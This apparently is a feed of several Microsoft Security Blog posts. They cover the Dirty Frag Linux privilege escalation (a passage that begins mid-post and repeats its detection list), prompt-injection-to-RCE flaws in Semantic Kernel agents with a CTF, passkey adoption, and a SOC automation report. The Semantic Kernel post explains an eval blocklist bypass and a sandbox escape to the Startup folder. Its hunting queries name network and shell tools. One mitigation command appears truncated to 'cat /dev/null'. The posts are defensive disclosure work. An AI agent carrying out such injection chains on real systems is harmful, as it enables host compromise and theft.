Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Advanced hunting query

Customers can use this advanced hunting query to surface possible exploitation.

let fragnesia = DeviceProcessEvents
| where Timestamp >= ago(1d)
| where ProcessCommandLine has "fragnesia"
| distinct DeviceId
;
let lpeModuleTerms = dynamic(["algif-skcipher","net-pf-38","crypto-seqiv(rfc4106(gcm(aes)))","xfrm-type-10-50"]);
DeviceProcessEvents
  | where Timestamp >= ago(1d)
  | where DeviceId in (fragnesia)
  | where ProcessCommandLine has_any (lpeModuleTerms)
  | distinct DeviceId

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

• CVE-2026-43284 – Linux Kernel (Dirty Frag)
• Vulnerability Profile: CVE-2026-43284 – Linux Kernel (Dirty Frag)

Microsoft Defender Antivirus

• Exploit:Linux/DirtyFrag.A
• Exploit:Linux/DirtyFrag.B
• Trojan:Linux/DirtyFrag.Z!MTB
• Trojan:Linux/DirtyFrag.ZA!MTB
• Trojan:Linux/DirtyFrag.ZC!MTB
• Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

• Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/. 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.

This article details an ongoing investigation into active campaign. We will update this report as new details emerge.

Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

• Compromised SSH accounts
• Web-shell access on internet-facing applications
• Container escapes into the host environment
• Abuse of low-privileged service accounts
• Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

• Disable unused rxrpc kernel modules where operationally possible
• Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
• Restrict unnecessary local shell access
• Harden containerized workloads
• Increase monitoring for abnormal privilege escalation activity
• Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Flag” exploitation.

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Defender Threat Intelligence

Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability

• CVE-2026-43284 – Linux Kernel (Dirty Frag)
• Vulnerability Profile: CVE-2026-43284 – Linux Kernel (Dirty Frag)

Microsoft Defender Antivirus

• Exploit:Linux/DirtyFrag.A
• Exploit:Linux/DirtyFrag.B
• Trojan:Linux/DirtyFrag.Z!MTB
• Trojan:Linux/DirtyFrag.ZA!MTB
• Trojan:Linux/DirtyFrag.ZC!MTB
• Trojan:Linux/DirtyFrag.DA!MTB

Microsoft Defender for Cloud

• Potential exploitation of dirtyfrag vulnerability detected

Microsoft continues investigating additional detections, telemetry correlations, and posture guidance related to Dirty Frag activity.

Further investigation is being conducted by Microsoft Defender towards providing stronger protection and posture recommendations is in progress.

References

Read about CopyFail (CVE-2026-31431), including mitigation and detection guidance here: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/. 

The post Active attack: Dirty Frag Linux vulnerability expands post-compromise risk appeared first on Microsoft Security Blog.

AI agents have fundamentally changed the threat model of AI model-based applications. By equipping these models with plugins (also called tools), your agents no longer just generate text; they now read files, search connected databases, run scripts, and perform other tasks to actively operate on your network.

Because of this, vulnerabilities in the AI layer are no longer just a content issue and are an execution risk. If an attacker can control the parameters passed into these plugins via prompt injection, the agent may be driven to perform actions beyond its intended use.

The AI model itself isn’t the issue as it’s behaving exactly as designed by parsing language into tool schemas. The vulnerability lies in how the framework and tools trust the parsed data.

To build powerful applications, developers rely heavily on frameworks like Semantic Kernel, LangChain, and CrewAI. These frameworks act as the operating system for AI agents, abstracting away complex model orchestration. But this convenience comes with a hidden cost: because these frameworks act as a ubiquitous foundational layer, a single vulnerability in how they map AI model outputs to system tools carries systemic risk.

As part of our mission to make AI systems more secure and eliminate new class of vulnerabilities, we’re launching a research series focused on identifying vulnerabilities in popular AI agent frameworks. Through responsible disclosure, we work with maintainers to ensure issues are addressed before sharing our findings with the community.

In this post, we share details on the vulnerabilities we discovered in Microsoft’s Semantic Kernel, along with the steps we took to address them and interactive way to try it yourself. Stay tuned for upcoming blogs where we’ll dive into similar vulnerabilities found in frameworks beyond the Microsoft ecosystem.

Background

We discovered a vulnerable path in Microsoft Semantic Kernel that could turn prompt injection into host-level remote code execution (RCE).

A single prompt was enough to launch calc.exe on the device running our AI agent, with no browser exploit, malicious attachment, or memory corruption bug needed. The agent simply did what it was designed to do: interpret natural language, choose a tool, and pass parameters into code.

This scenario is the real security story behind modern AI agents. Once an AI model is wired to tools, prompt injection draws a thin line between being just a content security problem and becoming a code execution primitive. In this post in our research series on AI agent framework security, we show how two vulnerabilities in Semantic Kernel could allow attackers to cross that line, and what customers should do to assess exposure, patch affected agents, and investigate whether exploitation may already have occurred.

A representative case study: Semantic Kernel

Semantic Kernel is Microsoft’s open-source framework for building AI agents and integrating AI models into applications. With over 27,000 stars on GitHub, it provides essential abstractions for orchestrating AI models, managing plugins, and chaining workflows.

During our security research into the Semantic Kernel framework, we identified and disclosed two critical vulnerabilities: CVE-2026-25592 and CVE-2026-26030. These flaws, which have since been fixed, could allow an attacker to achieve unauthorized code execution by leveraging injection attacks specifically targeted at agents built within the framework.

In the following sections, we break down the mechanics of these vulnerabilities in detail and provide actionable guidance on how to harden your agents against similar exploitation.

CVE-2026-26030: In-Memory Vector Store

Exploitation of this vulnerability requires two conditions:

1. The attacker must have a prompt injection vector, allowing influence over the agent’s inputs
2. The targeted agent must have the Search Plugin backed by In-Memory Vector Store functionality using the default configuration

When both these two conditions are met, the vulnerability enables an attacker to achieve RCE from a prompt.

To demonstrate how this vulnerability could be exploited, we built a “hotel finder” agent  using Semantic Kernel. First, we created an In Memory Vector collection to store the hotels’ data, then exposed a search_hotels(city=…) function to the kernel (agent) so that the AI model could invoke it through tool calling.

When a user inputs, for example, “Find hotels in Paris,” the AI model calls the search plugin with city=”Paris”. The plugin then first runs a deterministic filter function to narrow down the dataset and computes vector similarity (embeddings).

With this understanding of how a Semantic Kernel agent performs the search, let’s dive deep into the vulnerability.

Issue 1: Unsafe string interpolation

The default filter function that we mentioned previously is implemented as a Python lambda expression executed using eval(). In our example, The default filter will result to new_filter = “lambda x: x.city == ‘Paris'”.

The vulnerability is that kwargs[param.name] is AI model-controlled and not sanitized. This acts as a classic injection sink. By closing the quote (‘) and appending Python logic, an attacker could turn a simple data lookup into an executable payload:

• Input: ‘ or MALICIOUS_CODE or ‘
• Result: lambda x: x.city == ” or MALICIOUS_CODE or ”

Issue 2: Avoidable blocklist

The framework developers anticipated this RCE risk and implemented a validator that parses the filter string into an Abstract Syntax Tree (AST) before execution.

Before running a user-provided filter code, the application runs a validation function designed to block unsafe operations. At a high level, the validation does the following:

1. It only allows lambda expressions. It rejects outright any attempt to pass full code blocks (such as import statements or class definitions).
2. It scans every element in the code for dangerous identifiers and attributes that could enable arbitrary code execution (for example, strings like eval, exec, open, __import__, and similar ones). If any of these identifiers appear, the code is rejected.
3. If the code passes both checks, it is executed in a restricted environment where Python’s built-in functions (like open and print) are deliberately removed. So even if something slips through, it shouldn’t have access to dangerous capabilities.

The resulting lambda is then used to filter records in the Vector Store.

While this approach is solid in theory, blocklists in dynamic languages like Python are inherently fragile because the language’s flexibility allows restricted operations to be reintroduced through alternate syntax, libraries, or runtime evaluation.

We found a way to bypass this blocklist implementation through a specially crafted exploit prompt.

Exploit

Our exploit prompt was designed to manipulate the agent into triggering a Search Plugin invocation with an input that ultimately leads to malicious code execution:

This prompt circumvented the agent to trigger the following function calling:

As result, the lambda function was formatted as the following and executed inside eval(). This payload escaped the template string, traversed Python’s class hierarchy to locate BuiltinImporter, and used it to dynamically load os and call system(). These steps bypassed the import blocklists to launch an arbitrary shell command (for example, calc.exe) while keeping the template syntax valid with a clean closing expression.

The filter function didn’t block the payload because of the following reasons:

1. Missing dangerous names

The payload used several attributes that weren’t in the blocklist:

• __name__  – Used to find BuiltinImporter by name
• load_module – The method that imports modules
• system – The method that executes shell commands
• BuiltinImporter – The class itself

2. Structural check passes

The payload was wrapped inside a valid lambda expression. The check isinstance(tree.body, ast.Lambda) passed because the entire thing is in itself a lambda that just happens to contain malicious code in its body.

3. Empty __builtins__ is irrelevant
The eval() call used {“__builtins__”: {}} to remove access to built-in functions. However, this protection was meaningless because the payload never used built-ins directly. Instead, it started with tuple(), which exists regardless of the builtins environment, and crawled through Python’s type system to reach dangerous functionality.

4. No ast.Subscript checking
While not used in this payload, it’s worth noting that the filter only checked ast.Name and ast.Attribute nodes. If the payload needed to use a blocked name, it could’ve accessed it using bracket notation (for example, obj[‘__class__’] instead of obj.__class__), which creates an ast.Subscript node that the validation completely ignored.

Mitigation

After responsibly disclosing the vulnerability to MSRC, the Microsoft Semantic Kernel team implemented a comprehensive fix using four layers of protection to eliminate every escape primitive needed to turn a lambda filter into executable code:

• AST node-type allowlist – Permits only safe constructs like comparisons, boolean logic, arithmetic, and literals.
• Function call allowlist – Checks even allowed AST call nodes to ensure only safe functions can be invoked.
• Dangerous attributes blocklist – Blocks class hierarchy traversal (for examples, __class__, __subclasses__).
• Name node restriction – Allows only the lambda parameter (for example, x) as a bare identifier and rejects references to os, eval, type, and others.

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-26030 if it meets all of the following conditions:

• It uses the Python package semantic-kernel.
• It’s running a framework version prior to 1.39.4.
• It uses the In-Memory Vector Store and relies on its filter functionality (when acting as the backend for the Search Plugin using default configurations).

What to do if I am affected?

You don’t need to rewrite your agent. Upgrading the Python semantic-kernel dependency to version 1.39.4 or higher mitigates the risk.

What about the time that my agent was vulnerable?

While patching closes the bug, but it doesn’t answer the retrospective question defenders care about: whether their agent was exploited before they upgraded.

First, define the vulnerable window for each affected deployment: from the moment a vulnerable Semantic Kernel Python version was deployed until the moment version 1.39.4 or later was installed. Any investigation should focus on that time range.

Second, hunt for host-level post-exploitation signals during that vulnerable window. Because successful exploitation results in code execution on the host, the most useful evidence is in endpoint telemetry: suspicious child processes, outbound connections, or persistence artifacts created by the agent host process. We provide a set of practical advanced hunting queries for further investigation in a separate section of this blog.

If you find suspicious activity during that window, treat it as a potential host compromise. Review the affected host, rotate credentials and tokens accessible to the agent, and investigate what data or systems that host could reach.

CVE-2026-25592: Arbitrary file write through SessionsPythonPlugin

Before diving into the mechanics of this second vulnerability, here is what an agent sandbox escape looks like in practice: with a single prompt, an attacker could bypass a cloud-hosted sandbox, write a malicious payload directly to the host device’s Windows Startup folder, and achieve full RCE.

The container boundary

Semantic Kernel includes a built-in plugin called SessionsPythonPlugin that allows agents to safely execute Python code inside Azure Container Apps dynamic sessions, which are isolated cloud hosted sandboxes with their own filesystem.

The security model relies entirely on this boundary. Code runs in the isolated sandbox and cannot touch the host device where the agent process runs. To help move data in and out of the sandbox, the plugin uses helper functions like UploadFile and DownloadFile, which run on the host side to transfer files across this boundary.

The vulnerability

In the .NET software development kit (SDK), DownloadFileAsync was accidentally marked with a [KernelFunction] attribute, which officially advertised it to the AI model as a callable tool, complete with its parameter schema:

Because of this attribute, the localFilePath parameter, which dictates exactly where File.WriteAllBytes() saves data on the host device, was now entirely AI controlled. With no path validation, directory restriction, or sanitization in place, an attacker wouldn’t need a complex hypervisor exploit; they just needed to prompt the model to do it for them.

(Note: Arbitrary File Read. A similar vulnerability existed in reverse for the upload_file() function across both the Python and .NET SDKs. It accepted any local file path without validation, allowing prompt injections to exfiltrate sensitive host files, like SSH keys or credentials, directly into the sandbox).

Attack chain overview

By chaining two exposed tools, an attacker could turn standard function calling into a sandbox escape:

Step 1: Create the payload

An  injected prompt instructs the agent to use the ExecuteCode tool to generate a malicious script inside the isolated container:

At this point, the payload is contained. It exists only in the sandbox and cannot execute on the host.

Step 2: Escape the sandbox

A second injected instruction tells the AI model to use the DownloadFileAsync tool to download the file to a dangerous location on the host:

The agent calls:

The agent fetches the script from the sandbox’s API and writes it directly to the host’s Windows\Start Menu\Programs\Startup folder.

Step 3: Execute the code

On the next user sign-in, the script runs, granting full host compromise.

This exploit illustrates the MITRE ATLAS technique AML.T0051 (LLM Prompt Injection) cascading into AML.T0016 (Obtain Capabilities).

Exposing DownloadFileAsync provided a direct file write primitive on the host filesystem, effectively negating the container isolation.

The fix and how to defend

Semantic Kernel patched this vulnerability by removing the root cause of tool exposure and adding defense in depth:

Removed AI access – The [KernelFunction] attribute was removed, making the function invisible to the AI model. The AI agent can no longer invoke it, and prompt injection can no longer reach it:

This single change breaks the entire attack chain. The AI can now only be called directly by the developer’s intentional code.

• Path validation – For developers calling the function programmatically, a ValidateLocalPathForDownload() method was added using path canonicalization (Path.GetFullPath()) and directory allowlist matching to ensure the target path falls within permitted directories:

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-25592 if it uses a Semantic Kernel .NET SDK version older than 1.71.0.

Defending the agentic edge

If you use Semantic Kernel, our primary recommendation is to upgrade immediately. You don’t need to rewrite your agent’s architecture; the security updates simply remove the AI model’s ability to trigger these functions autonomously.

More broadly, defending AI agents requires acknowledging that AI models aren’t security boundaries. Security teams must correlate signals across two layers: the AI model level (intent detection through meta prompts and content safety filters) and the host level (execution detection). If an attacker bypasses the AI model guardrails, traditional endpoint defense must be in place to detect anomalous behavior, such as an AI agent process suddenly spawning command lines or dropping scripts into Startup folders.

Not bugs, but developed by design

Untrusted data being used as input for high-risk operations isn’t entirely new. In the early days of web application security, such input was passed directly into SQL queries or filesystem APIs. Today, agents are doing something similar, in that they could map untrusted natural-language input to system tools.

The overarching lesson from both vulnerabilities is that both aren’t bugs in the AI model itself, but rather issues in agent architecture and tool design. We must make a clear distinction between model behavior and agent architecture. The AI model functions exactly as it was designed to: translate intent into structured tool calls.

When models are connected to system tools, prompt injection risks may extend beyond typical chatbot misuse and require additional safeguards. Instead, it becomes a direct path to concrete execution primitives like data exfiltration, arbitrary file writes, and RCE. For a deeper look at the runtime risks of tool-connected AI models, see Running OpenClaw safely: identity, isolation, and runtime risk.

As mentioned previously, your LLM is not a security boundary. The tools you expose define your attacker’s affected scope. Any tool parameter the model can influence must be treated as attacker-controlled input.

In the next blog in this series, we’ll expand beyond Semantic Kernel to explore structurally similar execution vulnerabilities that we found in other widely used third-party agent frameworks.

CTF challenge: Attack your own agent

If you want to see how prompt injections escalate into execution and to put your skills to the test, we’ve packaged the vulnerable hotel-finder agent that we described in this blog into an interactive, hands-on capture-the-flag (CTF) challenge.

This CTF challenge lets you step into the shoes of an attacker and try to exploit the CVE-2026-26030 vulnerability in a controlled environment. You need to craft a prompt injection that not only bypasses the agent’s natural language defenses but also smuggle a Python AST-traversal payload through the vulnerable eval() sink.

To see if you can manipulate the AI model into launching arbitrary code and popping calc.exe on the server, download the challenge, spin it up in a sandbox, and see if you can achieve RCE. Keep in mind that this challenge is for educational purposes only, and shouldn’t be run in production environments.

Reconnaissance:

Exploit (jailbreak and payload):

Note: Because the agent will running locally on your device, calc.exe will open on your desktop. In a real-world scenario, such an executable file will launch remotely on the server hosting the agent.

Download the CTF challenge: https://github.com/amiteliahu/AIAgentCTF/tree/main/CVE-2026-26030

Advanced hunting

The following advanced hunting queries lets you surface suspicious activities from Semantic Kernel agents.

Detect common RCE post-exploitation child processes from Semantic Kernel agent hosts

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessCommandLine matches regex @"(?i)semantic[\s_\-]?kernel"
    or InitiatingProcessFolderPath matches regex @"(?i)semantic[\s_\-]?kernel"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe",
    "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "wscript.exe", "cscript.exe", "bitsadmin.exe", "curl.exe",
    "wget.exe", "whoami.exe", "net.exe", "net1.exe", "nltest.exe",
    "klist.exe", "dsquery.exe", "nslookup.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessFolderPath
| sort by Timestamp desc

Detect .NET hosting Semantic Kernel that spawns suspicious children

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("dotnet.exe")
| where InitiatingProcessCommandLine matches regex @"(?i)(semantic[\s_\-]?kernel|SKAgent|kernel\.run)"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe",
    "certutil.exe", "curl.exe", "whoami.exe", "net.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine
| sort by Timestamp desc

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post When prompts become shells: RCE vulnerabilities in AI agent frameworks appeared first on Microsoft Security Blog.

World Passkey Day is a chance to reflect on progress toward a shared goal: reducing our reliance on passwords and other phishable authentication methods by accelerating passkey adoption. As cyberattacks become more automated and AI-powered, each account is only as secure as its weakest credential. Real progress requires more than adding stronger sign-in options—it requires removing phishable credentials and strengthening common attack paths like recovery flows. In partnership with the FIDO Alliance, Microsoft is committed to advancing passkey adoption through ongoing standards work, active participation in working groups, and other contributions to a passwordless future.

Passwords remain a major source of risk; they’re difficult to manage and easy to steal. Along with weaker forms of multifactor authentication, they’re also highly vulnerable to phishing: AI-powered campaigns drive click-through rates as high as 54%.¹ In response, Microsoft is expanding passkey adoption across our ecosystem. We’re reducing reliance on legacy authentication and strengthening account recovery so it won’t become a backdoor for cyberattackers.

Passkey adoption continues to grow industry wide

Passkey adoption is accelerating: FIDO Alliance estimates 5 billion passkeys already in use worldwide.² Across Microsoft’s consumer services, including OneDrive, Xbox, and Copilot, hundreds of millions of users sign in with passkeys every day.

There are many reasons to choose passkeys as the standard authentication method over passwords. Sign-in success rates are significantly higher than with passwords, and exposure to credential-based attacks is significantly lower.³ Organizations and individual users alike prefer the simpler, more secure sign-in experience passkeys offer.⁴

Inside Microsoft, we’ve eliminated weaker authentication methods and rolled out phishing-resistant authentication, covering 99.6% of users and devices in our environment.⁵ It’s made signing in a lot simpler: no codes to enter, no extra prompts to manage, just a straightforward experience for everyone.

Product updates across sign-in and recovery

Across Microsoft, we’ve been steadily building passkey support into every layer of the identity experience from consumer accounts to enterprise access with Microsoft Entra, and from device-based authentication like Windows Hello to Microsoft’s password manager. This work ensures people can create and use passkeys wherever they sign in, with a consistent, phishing-resistant experience across devices, apps, and environments.

To make passkeys more accessible, we’re expanding where and how people can use them:

• Synced passkeys and passkey profiles in Microsoft Entra ID make it easier to scale passwordless sign-in across diverse environments. We’re expanding flexibility in cloud passkey management, including support for larger and more complex policies, and transitioning tenants to a unified passkey profile model.
• Entra passkeys on Windows make it simple for users to create and use device-bound passkeys directly on personal or unmanaged Windows devices using Windows Hello, and will be generally available in late May 2026.
• Passkeys for Microsoft Entra External ID will be generally available late May 2026, so your customer-facing applications can offer a more seamless, consumer-grade sign-in experience.
• Passkey-preferred authentication in Microsoft Entra ID (preview) detects registered methods and prompts the strongest one first. If a passkey is registered, that’s what the user sees—immediately. 
• On the consumer side, with Microsoft Password Manager, users can now save and sync passkeys across devices signed in with their Microsoft account, with support for iOS and Android rolling out soon through Microsoft Edge. 

Account recovery also plays a critical role in maintaining the integrity of identity systems. Historically, it’s been vulnerable to cyberattackers who try to hijack the recovery process, for example by impersonating legitimate users and requesting new credentials.

Microsoft Entra ID account recovery, generally available today, strengthens security for recovery flows by enabling users to regain access to their accounts through a robust identity verification process. Users can regain access after losing all authentication methods by using government-issued ID and biometric face checks. At general availability, we are expanding our identity verification ecosystem with two new partners—1Kosmos and CLEAR1—joining our existing partners Au10tix, IDEMIA, and TrueCredential. 

Removing phishable credentials from user accounts

Strengthening authentication is important, but reducing risk means eliminating phishable credentials entirely. Microsoft is continuing to phase out legacy methods and move users toward phishing-resistant authentication. Starting in January 2027, security questions will be removed as a password reset option in Microsoft Entra ID due to their susceptibility to guessing and social engineering.

The rationale is straightforward: improving strong methods while removing weak ones shrinks the attack surface. This is increasingly urgent as AI agents act on behalf of users. If an identity is compromised, cyberattackers can leverage those agents to access systems, execute workflows, and operate within existing permissions. Organizations need to address this risk quickly.

A more secure and usable future

Last year, Microsoft joined dozens of organizations in taking the Passkey Pledge, a commitment to accelerating the adoption of phishing-resistant authentication and to moving beyond passwords. Since then, we’ve seen meaningful progress, from hundreds of millions of better-protected consumer accounts to large-scale deployments across organizations like our own.

What once felt like a long-term shift is finally gaining real momentum: authentication is becoming simpler, safer, and passwordless.

For a more in-depth perspective on how cyberattackers try to bypass authentication through fallback methods and recovery flows—and how to address those gaps—read our companion post.

Getting started

Organizations that want to strengthen their identity security posture can enable passkeys for their users and extend policy protections across both sign-in and recovery scenarios.

Get started with a phishing-resistant passwordless authentication deployment in Microsoft Entra ID.

Individuals can create and use passkeys for their personal accounts for better security and convenience.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2025.

²FIDO Alliance reports mainstream global usage on World Passkey Day. FIDO Alliance, 2026.

³Synced passkeys and high assurance account recovery, Microsoft Entra blog. December 16, 2025.

⁴FIDO Alliance Champions Widespread Passkey Adoption and a Passwordless Future on World Passkey Day 2025, FIDO News Center. May 1, 2025.

⁵Microsoft Security and Future Initiative (SFI) Progress Report—November 2025.

The post World Passkey Day: Advancing passwordless authentication appeared first on Microsoft Security Blog.

Security operations are entering a new phase. As attack techniques grow faster and more complex, the effectiveness of a SOC depends less on collecting more data and more on how well platforms can turn context into action at scale.

KuppingerCole Analysts’ 2026 Emerging AI Security Operations Center (SOC) reflects this shift clearly: the future of security automation is not defined by static rules or isolated workflows, but by intelligence‑driven automation that supports analyst decision‑making across the full security lifecycle. This evolution mirrors what many security leaders already experience day to day, that the limiting factor is no longer alert volume, but human capacity.

Microsoft is excited to be named an Overall Leader, and the Market Leader, in this report, as we see automation as a core component of the future of cybersecurity.

From playbook‑driven SOAR to intelligence‑led automation

Traditional security orchestration, automation, and response (SOAR) solutions were built to automate predictable, repeatable tasks: enrichment steps, ticket creation, notifications, and predefined containment actions. These capabilities remain valuable, but they were designed for an era when incidents followed more deterministic patterns.

This is a critical change. In many SOCs today, analysts still spend significant time:

• Stitching together context across alerts and data sources.
• Manually triaging incidents that turn out to be benign.
• Following repetitive investigation and response steps.

The result is slower response times and analyst burnout—at exactly the moment attackers are moving faster and operating more quietly.

Automation built into the analyst experience

Microsoft has evolved the way these common challenges can be addressed, leveraging machine learning, large language models (LLMs), and agents, including releases such as:

• Automatic attack disruption: An always-on capability that limits lateral attackers and reduces the overall impact of an attack, from associated costs to loss of productivity, leaving security operations teams in complete control of investigating, remediating, and bringing assets back online.
• Phishing triage agent: An agent that runs sophisticated assessments—including semantic evaluation of email content, URL and file inspection, and intent detection—to determine whether a submission is a true phishing threat or a false alarm.
• AI powered incident prioritization: A machine learning prioritization model to surface the incidents that matter most, assigning each incident a priority score from 0–100 and explaining the key factors behind the ranking. 
• Playbook generator: An experience that allows users to create python-code playbooks using natural language for flexible workflow automation.

These capabilities are just the beginning of how we are introducing agents and automation to help users move faster, freeing analysts to focus on higher‑value tasks like proactive hunting and threat analysis.

The next evolution: The agentic SOC

The KuppingerCole report reinforces a broader industry trend, that security platforms must do more than automate pre‑defined workflows. They must support adaptive, intelligence‑driven operations that can respond to novel and fast‑moving threats.

This is where Microsoft is making its next set of investments: agentic security operations.

With innovations such as the Microsoft Sentinel MCP (Model Context Protocol) Server, shared security data and graph context, and deep integration with Microsoft Security Copilot, Sentinel is evolving into a platform where AI agents can:

• Reason across identity, endpoint, cloud, and network signals.
• Summarize incidents and investigations in natural language.
• Assist with decision‑making by correlating weak signals over time.
• Take action—with human oversight—when confidence thresholds are met.

These agents are designed to work alongside analysts, augmenting expertise and dramatically accelerating time to response.

Why this matters for security teams

The direction highlighted by KuppingerCole, and reflected in Microsoft’s roadmap, isn’t about chasing AI for its own sake. It’s about addressing real SOC pain points:

• Scale: Human‑only operations don’t scale with modern attack surfaces.
• Consistency: Automated and agent‑assisted workflows reduce variance and errors.
• Speed: Faster reasoning and response directly reduce attacker dwell time.

By combining automation, rich context, and intelligent agents, Microsoft Sentinel helps SOC teams move from reactive alert handling to proactive, intelligence‑led defense without forcing teams to re‑architect their operations overnight.

Looking ahead

Security automation is no longer a bolt‑on capability. As KuppingerCole’s research makes clear, it is becoming a foundational element of modern security operations. The evolution of SOAR reflects the reality of a shift from static playbooks to adaptive, context‑aware assistance that scales human expertise.

Microsoft is investing accordingly, advancing an AI‑first approach to security analytics that helps SOC teams operate with greater speed, confidence, and resilience as threats continue to evolve. Read the Emerging AI Security Operations Center (SOC) report to learn more.

